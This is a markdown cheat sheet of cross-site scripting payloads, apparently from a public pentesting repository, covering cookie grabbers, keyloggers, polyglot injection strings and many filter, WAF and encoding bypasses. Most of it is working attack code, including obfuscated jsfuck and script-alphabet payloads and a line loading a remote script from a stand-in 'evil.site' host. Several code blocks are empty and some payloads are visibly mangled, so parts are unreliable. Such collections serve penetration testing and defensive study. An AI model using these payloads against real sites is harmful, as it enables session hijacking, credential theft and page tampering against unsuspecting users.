# Cross Site Scripting Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. ## Summary - [Exploit code or POC](#exploit-code-or-poc) - [Data grabber for XSS](#data-grabber-for-xss) - [UI redressing](#ui-redressing) - [Javascript keylogger](#javascript-keylogger) - [Other ways](#other-ways) - [Identify an XSS endpoint](#identify-an-xss-endpoint) - [XSS in HTML/Applications](#xss-in-htmlapplications) - [Common Payloads](#common-payloads) - [XSS using HTML5 tags](#xss-using-html5-tags) - [XSS using a remote JS](#xss-using-a-remote-js) - [XSS in hidden input](#xss-in-hidden-input) - [DOM based XSS](#dom-based-xss) - [XSS in JS Context](#xss-in-js-context) - [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri) - [XSS in files (XML/SVG/CSS/Flash/Markdown)](#xss-in-files) - [XSS in PostMessage](#xss-in-postmessage) - [Blind XSS](#blind-xss) - [XSS Hunter](#xss-hunter) - [Other Blind XSS tools](#other-blind-xss-tools) - [Blind XSS endpoint](#blind-xss-endpoint) - [Mutated XSS](#mutated-xss) - [Polyglot XSS](#polyglot-xss) - [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads) - [Bypass case sensitive](#bypass-case-sensitive) - [Bypass tag blacklist](#bypass-tag-blacklist) - [Bypass word blacklist with code evaluation](#bypass-word-blacklist-with-code-evaluation) - [Bypass with incomplete html tag](#bypass-with-incomplete-html-tag) - [Bypass quotes for string](#bypass-quotes-for-string) - [Bypass quotes in script tag](#bypass-quotes-in-script-tag) - [Bypass quotes in mousedown event](#bypass-quotes-in-mousedown-event) - [Bypass dot filter](#bypass-dot-filter) - [Bypass parenthesis for string](#bypass-parenthesis-for-string) - [Bypass parenthesis and semi colon](#bypass-parenthesis-and-semi-colon) - [Bypass onxxxx= blacklist](#bypass-onxxxx-blacklist) - [Bypass space filter](#bypass-space-filter) - [Bypass email filter](#bypass-email-filter) - [Bypass document blacklist](#bypass-document-blacklist) - [Bypass using javascript inside a string](#bypass-using-javascript-inside-a-string) - [Bypass using an alternate way to redirect](#bypass-using-an-alternate-way-to-redirect) - [Bypass using an alternate way to execute an alert](#bypass-using-an-alternate-way-to-execute-an-alert) - [Bypass ">" using nothing](#bypass--using-nothing) - [Bypass "<" and ">" using ＜ and ＞](#bypass--and--using--and-) - [Bypass ";" using another character](#bypass--using-another-character) - [Bypass using HTML encoding](#bypass-using-html-encoding) - [Bypass using Katana](#bypass-using-katana) - [Bypass using Cuneiform](#bypass-using-cuneiform) - [Bypass using Lontara](#bypass-using-lontara) - [Bypass using ECMAScript6](#bypass-using-ecmascript6) - [Bypass using Octal encoding](#bypass-using-octal-encoding) - [Bypass using Unicode](#bypass-using-unicode) - [Bypass using UTF-7](#bypass-using-utf-7) - [Bypass using UTF-8](#bypass-using-utf-8) - [Bypass using UTF-16be](#bypass-using-utf-16be) - [Bypass using UTF-32](#bypass-using-utf-32) - [Bypass using BOM](#bypass-using-bom) - [Bypass using weird encoding or native interpretation](#bypass-using-weird-encoding-or-native-interpretation) - [Bypass using jsfuck](#bypass-using-jsfuck) - [CSP Bypass](#csp-bypass) - [Common WAF Bypass](#common-waf-bypass) ## Exploit code or POC ### Data grabber for XSS Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page. ```html ``` Write the collected data into a file. ```php ``` ### CORS ```html ``` ### UI redressing Leverage the XSS to modify the HTML content of the page in order to display a fake login form. ```html ``` ### Javascript keylogger Another way to collect sensitive data is to set a javascript keylogger. ```javascript ``` ### Other ways More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all): - [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/) - [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/) - [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html) - [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html) - [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html) - [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html) ## Identify an XSS endpoint This payload opens the debugger in the developper console rather than triggering a popup alert box. ```javascript ``` Modern applications with content hosting can use [sandbox domains][sandbox-domains] > to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data. [sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing. Better payload replacing ``: ```html ``` While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developper console (doesn't require any interaction). Example: ```html ``` References: - [Google Bughunter University - XSS in sandbox domains](https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain) - [LiveOverflow Video - DO NOT USE alert(1) for XSS](https://www.youtube.com/watch?v=KHwVjzWei1c) - [LiveOverflow blog post - DO NOT USE alert(1) for XSS](https://liveoverflow.com/do-not-use-alert-1-in-xss/) ### Tools Most tools are also suitable for blind XSS attacks: * [XSSStrike](https://github.com/s0md3v/XSStrike): Very popular but unfortunately not very well maintained * [xsser](https://github.com/epsylon/xsser): Utilizes a headless browser to detect XSS vulnerabilities * [Dalfox](https://github.com/hahwul/dalfox): Extensive functionality and extremely fast thanks to the implementation in Go * [XSpear](https://github.com/hahwul/XSpear): Similar to Dalfox but based on Ruby * [domdig](https://github.com/fcavallarin/domdig): Headless Chrome XSS Tester ## XSS in HTML/Applications ### Common Payloads ```javascript // Basic payload ipt>alert('XSS')ipt> "> "> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm" // Img payload xss "> "> // Svg payload "> ">(`Firefox` is the only browser which allows self closing script)
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``` ### XSS using HTML5 tags ```javascript \x3csVg/\x3e ``` Polyglot XSS - Ashar Javed ```javascript ">>" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> ``` Polyglot XSS - Mathias Karlsson ```javascript " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ``` Polyglot XSS - Rsnake ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` Polyglot XSS - Daniel Miessler ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* ``` Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514) ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg) ```javascript -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> ``` ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large) ```javascript <svg%0Ao%00nload=%09((pro\u006dpt))()// ``` Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml) ```javascript # by crlf javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> # by europa javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//> # by EdOverflow javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//> # by h1/ragnar javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>` ``` ## Filter Bypass and exotic payloads ### Bypass case sensitive ```javascript <sCrIpt>alert(1)</ScRipt> ``` ### Bypass tag blacklist ```javascript <script x> <script x>alert('XSS')<script y> ``` ### Bypass word blacklist with code evaluation ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` ### Bypass with incomplete html tag Works on IE/Firefox/Chrome/Safari ```javascript <img src='1' onerror='alert(0)' < ``` ### Bypass quotes for string ```javascript String.fromCharCode(88,83,83) ``` ### Bypass quotes in script tag ```javascript http://localhost/bla.php?test=</script><script>alert(1)</script> <html> <script> <?php echo 'foo="text '.$_GET['test'].'";';`?> </script> </html> ``` ### Bypass quotes in mousedown event You can bypass a single quote with &#39; in an on mousedown event handler ```javascript <a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a> ``` ### Bypass dot filter ```javascript <script>window['alert'](document['domain'])</script> ``` Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777` http://www.geektools.com/cgi-bin/ipconv.cgi ### Bypass parenthesis for string ```javascript alert`1` setTimeout`alert\u0028document.domain\u0029`; ``` ### Bypass parenthesis and semi colon ```javascript // From @garethheyes <script>onerror=alert;throw 1337</script> <script>{onerror=alert}throw 1337</script> <script>throw onerror=alert,'some string',123,'haha'</script> // From @terjanq <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script> // From @cgvwzq <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script> ``` ### Bypass onxxxx= blacklist ```javascript <object onafterscriptexecute=confirm(0)> <object onbeforescriptexecute=confirm(0)> // Bypass onxxx= filter with a null byte/vertical tab <img src='1' onerror\x00=alert(0) /> <img src='1' onerror\x0b=alert(0) /> // Bypass onxxx= filter with a '/' <img src='1' onerror/=alert(0) /> ``` ### Bypass space filter ```javascript // Bypass space filter with "/" <img/src='1'/onerror=alert(0)> // Bypass space filter with 0x0c/^L <svg onload = alert(1) > $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd 00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al 00000010: 6572 7428 3129 0c3e 0a ert(1).>. ``` ### Bypass email filter ([RFC compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate)) ```javascript "><svg/onload=confirm(1)>"@x.y ``` ### Bypass document blacklist ```javascript <div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script> ``` ### Bypass using javascript inside a string ```javascript <script> foo="text </script><script>alert(1)</script>"; </script> ``` ### Bypass using an alternate way to redirect ```javascript location="http://google.com" document.location = "http://google.com" document.location.href="http://google.com" window.location.assign("http://google.com") window['location']['href']="http://google.com" ``` ### Bypass using an alternate way to execute an alert From [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) tweet. ```javascript window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); ``` From [@theMiddle](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/) - Using global variables The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its **index number instead the function name**. ```javascript c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // 5 ``` Then calling alert is : ```javascript Object.keys(self)[5] // "alert" self[Object.keys(self)[5]]("1") // alert("1") ``` We can find "alert" with a regular expression like ^a[rel]+t$ : ```javascript a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a() // then you can use a() with Object.keys self[Object.keys(self)[a()]]("1") // alert("1") ``` Oneliner: ```javascript a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1") ``` From [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) tweet. ```javascript prompt`${document.domain}` document.location='java\tscript:alert(1)' document.location='java\rscript:alert(1)' document.location='java\tscript:alert(1)' ``` From [@404death](https://twitter.com/404death/status/1011860096685502464) tweet. ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; constructor.constructor("aler"+"t(3)")(); [].filter.constructor('ale'+'rt(4)')(); top["al"+"ert"](5); top[8680439..toString(30)](7); top[/al/.source+/ert/.source](8); top['al\x65rt'](9); open('java'+'script:ale'+'rt(11)'); location='javascript:ale'+'rt(12)'; setTimeout`alert\u0028document.domain\u0029`; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` Bypass using an alternate way to trigger an alert ```javascript var i = document.createElement("iframe"); i.onload = function(){ i.contentWindow.alert(1); } document.appendChild(i); // Bypassed security XSSObject.proxy = function (obj, name, report_function_name, exec_original) { var proxy = obj[name]; obj[name] = function () { if (exec_original) { return proxy.apply(this, arguments); } }; XSSObject.lockdown(obj, name); }; XSSObject.proxy(window, 'alert', 'window.alert', false); ``` ### Bypass ">" using nothing You don't need to close your tags. ```javascript <svg onload=alert(1)// ``` ### Bypass "<" and ">" using ＜ and ＞ Unicode Character U+FF1C and U+FF1E ```javascript ＜script/src=//evil.site/poc.js＞ ``` ### Bypass ";" using another character ```javascript 'te' * alert('*') * 'xt'; 'te' / alert('/') / 'xt'; 'te' % alert('%') % 'xt'; 'te' - alert('-') - 'xt'; 'te' + alert('+') + 'xt'; 'te' ^ alert('^') ^ 'xt'; 'te' > alert('>') > 'xt'; 'te' < alert('<') < 'xt'; 'te' == alert('==') == 'xt'; 'te' & alert('&') & 'xt'; 'te' , alert(',') , 'xt'; 'te' | alert('|') | 'xt'; 'te' ? alert('ifelsesh') : 'xt'; 'te' in alert('in') in 'xt'; 'te' instanceof alert('instanceof') instanceof 'xt'; ``` ### Bypass using HTML encoding ```javascript %26%2397;lert(1) &#97;&#108;&#101;&#114;&#116; ></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)> ``` ### Bypass using Katana Using the [Katakana](https://github.com/aemkei/katakana.js) library. ```javascript javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` ### Bypass using Cuneiform ```javascript 𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")() ``` ### Bypass using Lontara ```javascript ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")() ``` More alphabets on http://aem1k.com/aurebesh.js/# ### Bypass using ECMAScript6 ```html <script>alert&DiacriticalGrave;1&DiacriticalGrave;</script> ``` ### Bypass using Octal encoding ```javascript javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' ``` ### Bypass using Unicode ```javascript Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESS­THAN SIGN (<) Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/ %EF%BC%9E becomes > %EF%BC%9C becomes < ``` Bypass using Unicode converted to uppercase ```javascript İ (%c4%b0).toLowerCase() => i ı (%c4%b1).toUpperCase() => I ſ (%c5%bf) .toUpperCase() => S K (%E2%84%AA).toLowerCase() => k <ſvg onload=... > become <SVG ONLOAD=...> <ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=> ``` ### Bypass using UTF-7 ```javascript +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- ``` ### Bypass using UTF-8 ```javascript < = %C0%BC = %E0%80%BC = %F0%80%80%BC > = %C0%BE = %E0%80%BE = %F0%80%80%BE ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 " = %CA%BA ' = %CA%B9 ``` ### Bypass using UTF-16be ```javascript %00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00 \x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00> ``` ### Bypass using UTF-32 ```js %00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` ### Bypass using BOM Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page ```js BOM Character for UTF-16 Encoding: Big Endian : 0xFE 0xFF Little Endian : 0xFF 0xFE XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E BOM Character for UTF-32 Encoding: Big Endian : 0x00 0x00 0xFE 0xFF Little Endian : 0xFF 0xFE 0x00 0x00 XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` ### Bypass using weird encoding or native interpretation ```javascript <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" /> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> ``` ### Bypass using jsfuck Bypass using [jsfuck](http://www.jsfuck.com/) ```javascript [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() ``` ## CSP Bypass Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://websecblog.com/vulns/google-csp-evaluator/) ### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27)) 